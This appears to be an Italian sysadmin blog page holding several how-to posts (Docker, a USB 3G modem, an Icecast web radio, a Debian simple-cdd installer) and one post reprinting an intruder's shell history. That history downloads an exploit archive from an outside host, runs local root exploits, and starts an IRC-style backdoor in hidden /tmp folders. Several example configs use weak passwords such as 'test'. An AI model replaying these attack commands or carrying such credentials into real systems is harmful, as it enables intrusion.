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How-to: Installazione di Docker

Introduzione

Docker è un’applicazione che rende semplice la possibilità di utilizzare applicazioni all’interno di un container. I container sono simili alle macchine virtuali, però più portabili, e più dipendenti dalla macchina host, in quanto ne condividono le risorse hardware e il kernel.
In questo tutorial vi spiegherò come installare Docker su Ubuntu 16.04.

Prerequisiti

Per questo tutorial avrete bisogno di:

  • Installazione di Ubuntu 16.04 su macchina fisica a 64bit
  • Utente non root con i privilegi Sudo

Nota: Docker necessita di un’installazione fisica a 64 bit e una versione del kernel uguale o superiore a 3.10. Ubuntu soddisfa le seguenti richieste.

Tutti i comandi di questo tutorial dovrebbero essere lanciati da utenti NON root, se è richiesto l’accesso di root, il comando verrà preceduto da “sudo”.

Step 1: Installare Docker

Il pacchetto di installazione di Docker è presente nei repository ufficiali di Ubuntu 16.04, però potrebbe non essere aggiornato all’ultima versione, per questo è meglio utilizzare il repository ufficiale Docker, dove troveremo sempre le versioni più aggiornate.

Prima di tutto aggiorniamo il database dei pacchetti:

sudo apt-get update

Ora aggiungiamo la chiave GPG del repository di Docker nel portachiavi di sistema:

sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D

Aggiungiamo poi il repository di Docker al nostro Ubuntu:

echo "deb https://apt.dockerproject.org/repo ubuntu-xenial main" | sudo tee /etc/apt/sources.list.d/docker.list

Aggiorniamo di nuovo la lista pacchetti:

sudo apt-get update

Sinceriamoci che la versione di Docker che andremo a installare provenga dal repository Docker e non da quello ufficiale Ubuntu:

apt-cache policy docker-engine

Dovreste ottenere un output di questo tipo:

docker-engine:
Installed: (none)
Candidate: 1.11.1-0~xenial
Version table:
1.11.1-0~xenial 500
500 https://apt.dockerproject.org/repo ubuntu-xenial/main amd64 Packages
1.11.0-0~xenial 500
500 https://apt.dockerproject.org/repo ubuntu-xenial/main amd64 Packages

Se tutto è andato come previsto, installiamo Docker:

sudo apt-get install -y docker-engine

A questo punto Docker dovrebbe essere stato installato, abilitato al boot e dovrebbe essere già attivo. Per conoscere lo stato di Docker digitiamo:

sudo systemctl status docker

Questo è l’output che dovremmo ricevere:

● docker.service – Docker Application Container Engine
Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)
Active: active (running) since Sun 2016-05-01 06:53:52 CDT; 1 weeks 3 days ago
Docs: https://docs.docker.com
Main PID: 749 (docker)

Installando Docker avrai accesso non solo al demone, ma anche all’utility docker indispensabile per poter configurare/utilizzare Docker.

Vediamo come utilizzare questo comando.

Step 2: Utilizzare Docker senza l’utilizzo di Sudo

Normalmente Docker è un comando che prevede i privilegi di Root, è per questo che dovete sempre usare sudo per poterlo usare. Tale comando però, può essere utilizzato anche dagli utenti che fanno parte del gruppo docker che è automaticamente creato in fase di installazione. Se provate quindi ad utilizzare docker con un utente differente, otterrete il seguente risultato:

docker: Cannot connect to the Docker daemon. Is the docker daemon running on this host?.
See ‘docker run –help’.

Se volete utilizzare Docker con il vostro utente normale, dovrete aggiungervi al gruppo docker:

sudo usermod -aG docker $(whoami)

Dovrete effettuare il logout/login per rendere effettive le modifiche.

Il resto di questo tutorial assume che voi utilizziate Docker tramite un utente limitato appartenente al gruppo docker, pertanto da qui in poi sudo verrà omesso.

Step 3 — Usare il comando docker

Con Docker installato e funzionante, è l’ora di divenire familiare con la sua utility a riga di comando. Utilizzarla – come la maggior parte dei software GNU/Linux – consiste nel passargli una serie di opzioni seguite dai relativi argomenti. La sintassi ha questa forma:

docker [option] [command] [arguments]

Per vedere tutte le opzioni disponibili basterà digitare il comando:

docker

Avrete quindi un output di questo tipo:

attach Attach to a running container
build Build an image from a Dockerfile
commit Create a new image from a container’s changes
cp Copy files/folders between a container and the local filesystem
create Create a new container
diff Inspect changes on a container’s filesystem
events Get real time events from the server
exec Run a command in a running container
export Export a container’s filesystem as a tar archive
history Show the history of an image
images List images
import Import the contents from a tarball to create a filesystem image
info Display system-wide information
inspect Return low-level information on a container or image
kill Kill a running container
load Load an image from a tar archive or STDIN
login Log in to a Docker registry
logout Log out from a Docker registry
logs Fetch the logs of a container
network Manage Docker networks
pause Pause all processes within a container
port List port mappings or a specific mapping for the CONTAINER
ps List containers
pull Pull an image or a repository from a registry
push Push an image or a repository to a registry
rename Rename a container
restart Restart a container
rm Remove one or more containers
rmi Remove one or more images
run Run a command in a new container
save Save one or more images to a tar archive
search Search the Docker Hub for images
start Start one or more stopped containers
stats Display a live stream of container(s) resource usage statistics
stop Stop a running container
tag Tag an image into a repository
top Display the running processes of a container
unpause Unpause all processes within a container
update Update configuration of one or more containers
version Show the Docker version information
volume Manage Docker volumes
wait Block until a container stops, then print its exit code

Per vedere tutte le sotto opzioni dovrete digitare:

docker docker-sottocomando --help

Per vedere le informazioni generali dovrete digitare:

docker info

Step 4: Lavorare con le immagini docker

I container Docker vengono sviluppati dalle immagini Docker. Normalmente si possono prendere delle immagini preconfigurate direttamente dal Docker Hub, un repository di immagini gestito dalla società che ha creato Docker. Molte volte troverete l’immagine che cercate direttamente nel Docker Hub.

Per controllare il corretto accesso al Docker Hub digitate:

docker run hello-world

L’output che dovreste ricevere è:

Hello from Docker.
This message shows that your installation appears to be working correctly.

Potete cercare le immagini Docker utilizzando il comando search:

docker search ubuntu

Lo script prenderà i dati dal Docker Hub e vi restituirà un output simile a questo:

NAME DESCRIPTION STARS OFFICIAL AUTOMATED
ubuntu Ubuntu is a Debian-based Linux operating s… 3808 [OK]
ubuntu-upstart Upstart is an event-based replacement for … 61 [OK]
torusware/speedus-ubuntu Always updated official Ubuntu docker imag… 25 [OK]
rastasheep/ubuntu-sshd Dockerized SSH service, built on top of of… 24 [OK]
ubuntu-debootstrap debootstrap –variant=minbase –components… 23 [OK]
nickistre/ubuntu-lamp LAMP server on Ubuntu 6 [OK]
nickistre/ubuntu-lamp-wordpress LAMP on Ubuntu with wp-cli installed 5 [OK]
nuagebec/ubuntu Simple always updated Ubuntu docker images… 4 [OK]
nimmis/ubuntu This is a docker images different LTS vers… 4 [OK]
maxexcloo/ubuntu Docker base image built on Ubuntu with Sup… 2 [OK]
admiringworm/ubuntu Base ubuntu images based on the official u… 1 [OK]

Una volta che hai identificato l’immagine che ti interessa, la puoi scaricare tramite il comando pull:

docker pull ubuntu

Una volta che l’immagine è stata scaricata, potete utilizzarla utilizzando l’istruzione run

docker run ubuntu

Per avere una lista delle immagini scaricate, utilizzate l’istruzione images:

docker images

Dovreste ricevere un output simile a questo:

REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest c5f1cf30c96b 7 days ago 120.8 MB
hello-world latest 94df4f0ce8a4 2 weeks ago 967 B

Queste immagini potranno poi essere modificate per creare altre immagini Docker, ed essere inviate (pushed) al Docker Hub e ad altri registry Docker.

Step 5: Utilizzare un container Docker

Prendendo come esempio l’immagine di Ubuntu scaricata in precedenza, utilizzatela facendo il deploy di un nuovo container:

docker run -it ubuntu

le opzioni -i e -t vi forniranno una console interattiva collegata al container.

Il prompt dei comandi quindi dovrà cambiare, in questo modo si entrerà dentro il container:

[email protected]:/#

Come vedete, potete lavorare all’interno del container con le credenziali di root.

A questo punto, potete lavorare dentro al container utilizzando le più comuni utility GNU/Linux. Ad esempio installiamo postfix:

apt-get install -y postfix

Step 6: Controllare i tuoi container

Dopo aver utilizzato Docker per un po’, avrete diversi container attivi o meno. Per vedere i container attivi digitate:

docker ps

Avrete un output simile a questo.

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f7c79cc556dd ubuntu “/bin/bash” 3 hours ago Up 3 hours silly_spence

Per vedere tutti i container, attivi e passivi digitate:

docker ps -a

Per vedere l’ultimo container creato digitate:

docker ps -l

Per fermare un container digitate:

docker stop container-id

Il container-id può essere trovato utilizzando il comando docker ps

Conclusione

Docker è uno strumento molto completo, e c’è molto da imparare per poterlo usare al meglio. Con questo tutorial però potrete già iniziare a usare Docker per i vostri progetti o per apprendimento.

Liberamente tratto da Digital Ocean

Installazione della Chiavetta Onda MDC655 su Linux

Mi sono trovato in mano una Chiavetta TIM Onda MDC655 – quella della Ducati per intendersi -. Vediamo come utilizzarla su Linux senza installare il programma fornito da TIM.

Non mi sono mai piaciuti i programmi per le chiavette 3g/4g forniti dagli operatori telefonici (per Linux sono anche molto rari). Li trovo poco estetici e malfunzionanti. Per questo sono un grande fan di usb_modeswitch, software per far funzionare gran parte di questi device su Linux nativamente con wvdial. La Onda Ducati non è presente nella lista dei device supportati da usb_modeswitch, però è possibile utilizzarla ugualmente.

Prima di tutto installiamo usb_modeswitch:

apt-get install usb_modeswitch

Una volta inserito il device nella porta USB del pc, facendo un listato delle periferiche USB attaccate avremo:

lsub


[...]
Bus 001 Device 005: ID 1ee8:004a
[...]

Controllando il log del kernel avremo qualcosa simile a:

[ 9.840656] scsi 2:0:0:0: CD-ROM ONDA Datacard CD-ROM 0001 PQ: 0 ANSI: 0
[ 9.848203] scsi 2:0:0:1: Direct-Access ONDA Mass Storage 0001 PQ: 0 ANSI: 0
[ 9.856191] sd 2:0:0:1: [sdb] Attached SCSI removable disk
[ 9.857775] usb-storage: device scan complete
[ 9.934764] sr0: scsi3-mmc drive: 0x/0x caddy
[ 9.937760] Uniform CD-ROM driver Revision: 3.20
[ 9.940994] sr 2:0:0:0: Attached scsi CD-ROM sr0

Per poter effettuare lo switch al modem, dovremo digitare:

usb_modeswitch --default-vendor 0x1ee8 --default-product 0x004a --message-content 555342431234567800000000000010ff000000000000000000000000000000

Controlliamo di nuovo la lista dei device attaccati, dovremmo avere qualcosa simile a:

lsusb


[...]
Bus 001 Device 005: ID 1ee8:0049
[...]

e se controlliamo di nuovo i log del kernel avremo:

[ 96.663358] cdc_acm 1-3:1.0: ttyACM0: USB ACM device
[ 96.665830] cdc_acm 1-3:1.2: ttyACM1: USB ACM device
[ 96.669966] usbcore: registered new interface driver cdc_acm
[ 96.671791] cdc_acm: v0.26:USB Abstract Control Model driver for USB modems and ISDN adapters
[ 96.699277] usb0: register 'cdc_ether' at usb-0000:00:1d.7-3, CDC Ethernet Device, 02:8b:78:ec:ce:09
[ 96.701702] usbcore: registered new interface driver cdc_ether

La nostra pennetta ha effettuato lo switch come modem. Andiamo ora a configurare wvdial, questa è la configurazione per TIM:

vim /etc/wvdial.conf


[Dialer Defaults]
Modem = /dev/ttyACM1
ISDN = off
Modem Type = Analog Modem
Baud = 921600
Init1 = ATZ
Init2 = AT+CGDCONT=1,"IP","ibox.tim.it"
Phone = *99#
Dial Command = ATDT
Dial Attempts = 1
Ask Password = off
Username = " "
Password = " "
Auto Reconnect = on
Abort on Busy = off
Carrier Check = on
Check Def Route = on
Abort on No Dialtone = on
Stupid Mode = on
Idle Seconds = 0
Auto DNS = on

Chiudiamo e proviamo a connetterci:

wvdial

Se ci viene restituito un errore, proviamo a cambiare

Modem = /dev/ttyACM1

con

Modem = /dev/ttyACM0

Creazione di una Web Radio completa

In questo articolo vi spiegherò come ho creato la mia web radio: Radio passaggio a Scirocco partendo da zero ed utilizzando supporti open-source e musica libera dai diritti d’autore.

Si parte inizialmente dalla filosofia e dalla possibilità o meno di “pagare”. Per avere una webradio “regolare” occorre essere iscritti alla SIAE. Ad oggi, per una radio da massimo 30 utenti simultanei NON COMMERCIALE bisogna pagare circa 300 euro l’anno.

Essendo il mio un progetto totalmente amatoriale e personale, ho deciso di evitare di pagare la SIAE e di utilizzare soltanto musica di artisti non iscritti alla SIAE (licenze creative common e aperte), però in caso vi interessasse qualcosa di più “main stram”, potete fare un giro nel sito di Mondo, che è molto ferrato in materia.

Per avere un po’ di buon “materiale” da suonare, mi sono fatto un giro su Free Music Archive, un database di musica gratuita che può essere riprodotta e scaricata gratis.

Al momento non prevedo di inserire delle trasmissioni “live“, ma di suonare musica a rotazione (un jukebox via internet insomma). Ho poi pensato che sarebbe stato meglio registrare le trasmissioni in locale e poi farle ruotare sul server. Questo perché non è facile con una strumentalizzazione amatoriale (pc + streaming server) creare buoni stacchi e tagli.

Come server utilizzerò una Debian Squeeze aggiornata, server web Apache e Icecast2 come server di streaming.

Per prima cosa installiamo icecast2 ed ices2, i due programmi che si occuperanno di effettuare lo streaming della musica ai vostri ascoltatori:

apt-get install icecast2 ices2

una volta installati, questi programmi vanno configurati. Si parte con il file di configurazione di icecast2: /etc/icecast2/icecast.xml. Le parti più importanti del file sono:

<--! massimo numero di clienti simultanei -->
<clients>100</clients>
<sources>2</sources>
<threadpool>5</threadpool>
<queue-size>902400</queue-size>
<client-timeout>30</client-timeout>
<header-timeout>15</header-timeout>
<source-timeout>10</source-timeout>
<burst-on-connect>1</burst-on-connect>
<burst-size>65535</burst-size>

<authentication>
<!-- Password di Ices2 -->
<source-password>sourcepass</source-password>
<!-- Password per Relay (inutilizzato al momento) -->
<relay-password>relaypass</relay-password>

<!-- Password per la web UI -->
<admin-user>admin</admin-user>
<admin-password>adminpass</admin-password>
</authentication>
<hostname>buleria.acido.be</hostname>

<listen-socket>
<port>8000</port>
<!-- <bind-address>109.169.37.166</bind-address> -->
<!-- <shoutcast-mount>/stream</shoutcast-mount> -->
</listen-socket>

Una volta modificato il file, lo avviamo:

/etc/init.d/icecast2 restart

Passiamo poi a ices2: prima di tutto creo il suo ambiente e mi prendo un file di configurazione standard:

mkdir -p /home/ices/music
cp /usr/share/doc/ices2/examples/ices-playlist.xml > /home/ices/

Inizio poi a modificare il file di configurazione. Ecco le parti più importanti:

<ices>
<!-- fork in background -->
<background>1</background>
<!-- location dei logs -->
<logpath>/var/log/ices</logpath>
<logfile>ices.log</logfile>
<!-- 1=error,2=warn,3=info,4=debug -->
<loglevel>4</loglevel>

<stream>

<input>
<module>playlist</module>
<param name="type">basic</param>
<param name="file">/home/ices/playlist.txt</param>
<!-- random play -->
<param name="random">1</param>
<!-- Se la playlist viene cambiata, il playback inizia da capo -->
<param name="restart-after-reread">0</param>
<!-- Se è messo a 1, riproduce tutta la playlist e poi esce -->
<param name="once">0</param>
</input>
<instance>
<!-- Credenziali per il collegamento ad icecast2 -->
<hostname>localhost</hostname>
<port>8000</port>
<password>sourcepass</password>
<mount>/radio</mount>
<reconnectdelay>2</reconnectdelay>
<reconnectattempts>5</reconnectattempts>
<maxqueuelength>80</maxqueuelength>
<encode>
<!-- Bitrate -->
<nominal-bitrate>64000</nominal-bitrate>
<samplerate>44100</samplerate>
<channels>2</channels>
</encode>
</instance>

</stream>
</ices>

A questo punto dobbiamo caricare la nostra prima canzone! Ices2 utilizza OGG come formato musicale open source, quindi probabilmente dovremo convertire il nostro mp3 prima di poterlo mettere in playlist:

mpg321 -q nomefile.mp3 -w - | oggenc -b256 -o nomefile.ogg -

e poi metterlo in playlist:

ls ./*.ogg > /home/ices/playlist.txt

Nel mio caso, dopo qualche test ho preferito effetturare l’encoding del file a 256kb/s ed uno stream a 64kb/s. Questo mi permette di risparmiare banda utilizzando uno stream bitrate basso, ma di avere comunque una buona qualità di ascolto.

Feedbacks sono ben accetti.

Infine avviamo ices2:

ices2 /home/ices/ices-config.xml

Proviamo ad aprire il nostro player musicale (iTunes, VLC, Winamp..), inserendo nel mio caso il seguente URL:

http://buleria.acido.be:8000/radio

Se tutto è andato bene, possiamo mettere l’avvio automatico di ices inserendo il comando nel file /etc/rc.local

Per fare questa operazione su un largo numero di files, mi sono creato uno scriptino in bash: mp32ogg.sh  che rinomina i files mp3 togliendo gli spazi, fa l’encoding dei files ogg inserendo anche gli ID3 ed infila tutto nella playlist di ices2.

Per poterlo usare, la cartella contenente i files mp3 non può avere spazi (mentre i nomi dei files sì) e lo script va lanciato con i path ASSOLUTI. Es:

sh mp32ogg.sh /home/ices/music/album_in_mp3

Il problema è che su Debian al momento, lo script ufficiale per fare encoding di files ogg – mp32ogg – è rotto e perl va in errore. Ho dovuto riparare da me.

Questo script è scritto “con la zappa”, ovvero fa uscire a video un sacco di errori, a volte mpg123 va in segfault, ed è successo che gli ID3 se non sono scritti bene uscissero errati, ma funziona nel 95% dei casi. Se qualcuno ha voglia e tempo di fargli un paio di fix ne sarei contento 😉

Potete controllare tutti i parametri della radio aprendo con un browser questo indirizzo:

http://buleria.acido.be:8000

Per entrare nell’area admin dovrete loggarvi con “admin” e la “adminpass” che avete specificato nel file di configurazione di icecast2

A questo punto, dopo aver messo in piedi la vostra radio bisogna passare al sito web.

Ho pensato che, essendo una web radio, la parte più importante debba essere la musica, quindi ho voluto creare una pagina web molto semplice dove ci fosse solo il player in html5 e qualche info:

http://pas.acido.be

Una cosa che in una web radio è molto utile è l’indicazione in tempo reale della canzone che si sta ascoltando. Per fare questo, ho trovato uno script da qualche parte nel web che prende le info di http://buleria.acido.be:8000/status.xsl e le inserisce in un html. Nella pagina index ho poi inserito un javascript che fa l’update del DIV dove verranno stampate le informazioni.

Per comodità potete scaricare il sorgente completo di http://pas.acido.be e modificarlo a vostro piacimento.

A questo punto la radio è completa! Buon divertimento!

./fuck – Ovvero: forse non ce l’hai fatta a bucarmi la Debian

Geek PowerQuesto server va a morire la settimana prossima. Ne prenderò uno un po’ più potente e voglio provare un altro provider. Vi farò sapere le mie impressioni.

Sto anche facendo un restyling del sito, e dato che serviva un accesso FTP ed io avevo fretta, ho installato proftpd e ho creato un utente “test”, password “test”, per poter far entrare il mio web designer.

Essendo anche un utente di sistema, l’accesso era possibile via SSH. E’ bastato qualche giorno che un hackerino è “riuscito” ad entrare, probabilmente grazie ad uno script kiddies, e ha tentato di rootarmi la Debian.

Com’è andata? Giudicatelo voi:

cat /var/www/test.lucarossi.info/.bash_history
uname -a
/sbin/ifconfig | grep inet -w
ps -x
history
w
who
passwd
passwd
passwd
uname -a
ls
cd /tmp/
ls
wget freewebtown.com/miaumiau/2010.tgz
tar xzvf 2010.tgz
cd 2010
ls
./x86
./0x82 (questa roba è vecchia di ANNI!)
./2009
./2009.c (questa è fantastica)
./run
id
./exploit.c (sublime!!)
ls -a
./run
id
ls -a
cd /home/
ls
ls -a
su ftp
su luca (prrr)
id
cd ..
ls
cd /tmp/
ls -a
ls
cd .ICE-unix/
ls
tar xzvf psyro.tgz.gz
cd .
cd .access.log/
ls
./config maka 6667
./run
./fuck
cd ..
ls
rm -rf psyro.tgz.gz (non hai cancellato un tubo..)
passwd

il ./fuck alla fine non promette niente di nuovo per il poveretto. Proverò ad installare il rootkit che ho trovato in /tmp ma presumo che non funzioneranno. Dopodiché ha cambiato la password ed io ho potuto beccarlo immediatamente.

Che dire? Ai miei tempi noi hackerini s’era molto più svegli!

Come creare un installer Debian personalizzato: simple-ccd

Debian LogoPiccolo tutorial che spiega come utilizzare simple-ccd, un tool che consente la creazione di un DVD/CD di installazione personalizzato.

Ultimamente ho dovuto creare un CD di installazione automatico da poter distribuire agli utenti e contentente dei programmi proprietari con licenza shareware.
Ho quindi scelto Debian come distribuzione, sopratutto perché ha a disposizione un tool molto potente e personalizzabile: simple-cdd.

Simple-cdd è un set di script che permette la creazione di CD/DVD di installazione personalizzati ed automatici. Vediamo un po’ come funziona.

Per prima cosa installiamo il programma:

apt-get install build-simple-cdd

dopodiché creiamo una nuova directory nella nostra home:

mkdir $HOME/ccd

ci entriamo:

cd $HOME/ccd

e lanciamo subito il nostro nuovo tool:

build-simple-ccd

lanciato così senza paramentri, lo script creerà un installer di base, che installerà un sistema operativo privo di qualsivoglia pacchetto. Durante l’esecuzione, build-simple-cdd creerà un mirror parziale nella directory tmp/ e, se tutto è andato bene, troverete la nuova immagine nella directory images/

Le opzioni principali di Simple-cdd

Proviamo ora ad utilizzare qualche opzione:

in caso vogliate utilizzare un mirror specifico per il download dei pacchetti, potete speficarlo con l’opzione –debian-mirror:

build-simple-cdd --debian-mirror http://debian.fastweb.it/debian

di default, lo script creerà un installer della stessa release della macchina host, in caso vogliate utilizzare un’altra release (ad esempio Lenny) potete utilizzare l’opzione –dist:

build-simple-cdd --debian-mirror http://debian.fastweb.it/debian --dist lenny

Utilizzare i profili con Simple-cdd

Il grande pregio di simple-cdd è la possibilità di creare delle installazioni altamente personalizzabili grazie all’utilizzo di profili caricabili in fase di setup. Vediamo un po’ come funzionano:

creiamo una directory chiamata “profiles” e ci entriamo:

mkdir ./profiles
cd ./profiles

creiamo poi un file chiamato default.packages e lo editiamo inserendoci tutti i pacchetti che vogliamo installare automaticamente:

vi default.packages
# inserisco i pacchetti che mi servono, ma non le dipendenze!

openssh
less
openssl
apache2
mysql-server
freeradius

ricreiamo poi l’immagine con il profilo selezionato:

build-simple-cdd --profiles default --debian-mirror http://debian.fastweb.it/debian --dist lenny

Questo comando ricostruirà la vostra immagine includendo il profilo che avete appena creato.

in caso vogliate provare l’immagine con qemu, c’è l’opzione –qemu apposita per costruire un immagine già pronta per l’emulatore:

build-simple-cdd --profiles default --debian-mirror http://debian.fastweb.it/debian --dist lenny --qemu

L’utilizzo di Preseed

Con simple-cdd è possibile utilizzare i file di preseed.
I file di preseed sono dei file di testo contenenti le risposte alle domande che vengono poste in fase di installazione. Grazie a questi sarà possibile non inserire i dati manualmente mentre l’installazione è in esecuzione.

Vediamo un po’ come implementarle nella nostra immagine personalizzata:

creiamo un file chiamato “default.preseed” e lo editiamo:

vim default.preseed

dentro ci inseriremo alcune info utili alla nostra installazione:

# informazioni sulla rete

# la rete viene configurata secondo i parametri qui esposti e viene disabilitato il DHCP
d-i netcfg/disable_dhcp boolean true
d-i netcfg/get_nameservers string 10.0.69.254
d-i netcfg/get_ipaddress string 10.0.69.234
d-i netcfg/get_netmask string 255.255.255.0
d-i netcfg/get_gateway string 10.0.69.254
d-i netcfg/confirm_static boolean true
d-i netcfg/get_hostname string astTron
d-i netcfg/get_domain string localdomain
d-i netcfg/wireless_wep string

# timezone, package mirror e locale

d-i mirror/country string manual
d-i mirror/http/hostname string http.debian.fastweb.it
d-i mirror/http/directory string /debian
d-i mirror/http/proxy string

d-i clock-setup/utc boolean true
d-i time/zone string Europe/Rome
tzsetup-udeb    time/zone       select  Europe/Rome

d-i clock-setup/ntp boolean true
d-i clock-setup/ntp-server string time.ien.it

# informazioni sulla partizione

d-i partman-auto/method string regular
d-i partman-auto/choose_recipe select atomic
d-i partman/confirm_write_new_label boolean true
d-i partman/choose_partition select finish
d-i partman/confirm boolean true

# password di root

d-i passwd/root-password password test
d-i passwd/root-password-again password test

user-setup-udeb passwd/root-password password test
user-setup-udeb passwd/root-password-again password test

# configurazione di un nuovo utente

d-i passwd/user-fullname string Utente di Amministrazione
d-i passwd/username string adminuser
d-i passwd/user-password password test
d-i passwd/user-password-again password test

user-setup-udeb passwd/user-fullname string Utente di Amministrazione
user-setup-udeb passwd/username string adminuser
user-setup-udeb passwd/user-password password test
user-setup-udeb passwd/user-password-again password test

# configurazione di apt

d-i apt-setup/non-free boolean true
d-i apt-setup/contrib boolean true

d-i apt-setup/services-select multiselect security, volatile
d-i apt-setup/security_host string security.debian.org

d-i apt-setup/volatile_host string volatile.debian.org

# configurazione mysql

mysql-server-5.0 mysql-server/root_password string
mysql-server-5.0 mysql-server/root_password seen true
mysql-server-5.0 mysql-server/root_password_again string
mysql-server-5.0 mysql-server/root_password_again seen true
mysql-server-5.0 mysql-server/root_password password test
mysql-server-5.0 mysql-server/root_password_again password test

# popularity contest
popularity-contest popularity-contest/participate boolean false

# installazione del boot loader

d-i grub-installer/only_debian boolean true
d-i finish-install/reboot_in_progress note

ricostruiamo infine l’immagine con:

build-simple-cdd --profiles default --debian-mirror http://debian.fastweb.it/debian --dist lenny

In questa maniera, gran parte delle informazioni richieste in fase di installazione saranno già incluse nella vostra ISO.

In caso abbiate dei pacchetti costruiti da voi e vogliate includerli nella vostra ISO, dovete creare la directory package in $HOME/cdd

mkdir $HOME/cdd/packages

dove dentro metterete i vostri pacchetti. Aggiungerete poi i il nome dei pacchetti anche nel file default.packages. Infine ricostruirete la vistra ISO con l’opzione –local-packages $HOME/cdd/packages:

build-simple-cdd –profiles default –debian-mirror http://debian.fastweb.it/debian –dist lenny –local-packages $HOME/cdd/packages

Un po’ di info

Potete trovare molte altre informazioni sull’utilizzo di simple-cdd nel sito debian:

http://wiki.debian.org/Simple-CDD/Howto
http://wiki.debian.org/DebianInstaller/Preseed

e nelle directory

/usr/share/doc/simple-cdd/

/usr/share/simple-cdd/